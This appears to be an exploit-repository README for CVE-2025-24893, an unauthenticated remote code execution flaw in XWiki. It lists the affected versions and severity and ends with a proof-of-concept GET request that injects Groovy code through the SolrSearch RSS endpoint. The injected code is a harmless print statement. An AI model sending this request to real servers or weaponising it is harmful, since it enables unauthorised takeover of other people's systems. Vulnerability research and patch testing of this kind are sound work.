Exploit for CVE-2025-24893

CVE-2025-24893 is a critical unauthenticated remote code execution (RCE) vulnerability affecting the XWiki Platform.
This flaw lets any guest user inject and execute arbitrary Groovy code—without authentication—via a specially crafted RSS request to the SolrSearch endpoint.

This directly impacts the confidentiality, integrity, and availability of the affected system.

Summary

• Affected Versions:
  • XWiki ≥ 5.3-milestone-2 up to < 15.10.11
  • XWiki ≥ 16.0.0-rc-1 up to < 16.4.1
• CVSS v3.1 Score: 9.8 (Critical)
  Vector: AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Exploitability: Very easy — a single HTTP GET request is enough.

⚠️ Disclaimer:

This code is strictly intended for educational and research purposes only. Unauthorized use on systems without explicit permission may constitute a violation of the law. The author is not responsible for any misuse or malicious activity involving this tool.

Proof-of-Concept (POC)

GET /xwiki/bin/get/Main/SolrSearch?media=rss&text=}}}{{async async=false}}{{groovy}}println("Hello from search text:42"){{/groovy}}{{/async}}